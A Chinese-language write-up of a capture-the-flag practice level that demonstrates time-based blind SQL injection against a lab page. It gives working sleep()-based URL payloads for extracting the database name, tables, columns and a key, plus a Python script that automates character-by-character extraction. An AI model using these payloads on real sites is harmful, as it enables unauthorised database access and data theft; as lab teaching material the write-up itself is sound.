网络信息安全攻防学习平台 http://hackinglab.cn
小白学习注入第七关
在URL后输入' and sleep(5)--+发现网站响应时间很长,可以确定这是一个基于时间的盲注
这里我们主要学习一下手动注入,
1.确定数据库名长度
输入
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(length((SELECT concat(database())))=5,sleep(10),0)--+
根据输入的数字猜测数据库长度,当为5等待响应时间很长,可以确定数据库长度为5.
2.猜测数据库名
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(ascii(substr((select concat(database())),1,1))="109",sleep(10),0)--+
一个一个字符的猜解数据库名的名称,第一个字符为m
经测试,当执行
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((select concat(database())),1,5)="mydbs",sleep(10),0)--+
等待响应时间很长,故数据库名称为mydbs
3.猜解表单(PS:这里我把数据库的名字改成了16进制的字符串形式)
第一个 log
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((select TABLE_NAME from information_schema.tables where table_schema=0x6d79646273 limit 0,1),1,3)='log',sleep(2),1)--+
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(ascii(substr((select TABLE_NAME from information_schema.tables where table_schema=0x6d79646273 limit 0,1),1,1))=108,sleep(2),1)--+
第二个 motto
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((select TABLE_NAME from information_schema.tables where table_schema=0x6d79646273 limit 1,1),1,5)='motto',sleep(2),1)--+
第三个 user
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((select TABLE_NAME from information_schema.tables where table_schema=0x6d79646273 limit 2,1),1,4)='user',sleep(2),1)--+
4.猜解列名
motto表里的motto字段
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((select COLUMN_NAME from information_schema.columns where table_name='motto' limit 2,1 ),1,5)='motto',sleep(2),1)--+
5.猜解字段内容
执行
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((select motto from motto limit 3,1 ),1,14)="key#notfound!#",sleep(2),1)--+
网站响应时间长,得到字段内容key:notfound!
6.手动盲注不仅测试时间长在猜测字符串上也很耗时间,我这里是写了一个简单的python脚本猜解。当然,像这种比较简单的时间盲注可以直接放在sqlmap里面跑,比较容易得出结果。
import requests import time url = "http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin" database = "select concat(database())" table = "select TABLE_NAME from information_schema.tables where table_schema=0x6d79646273 limit 0,1" column = "select COLUMN_NAME from information_schema.columns where table_name=0x6D6F74746F limit 2,1" key = "select motto from motto limit 3,1 " #motto的内容就是key啦,这里要注意一下可以稍微加大对ASCII码的检索范围,这样可以把对key内容的隔开符号也输出 result = "" #通检索对字符的ASCII码来判断是否满足sleep()的条件,通过修改参数和变量名来爆数据库名,表单,字段。 for i in range(1,20): for j in range (48,122): payload = "' and if(ascii(substr(({}),{},1))={},sleep(2),1)--+".format(column,i,j) atime = time.time() r=requests.get(url+payload) btime=time.time() if btime-atime >= 2: result += chr(j) print(result) break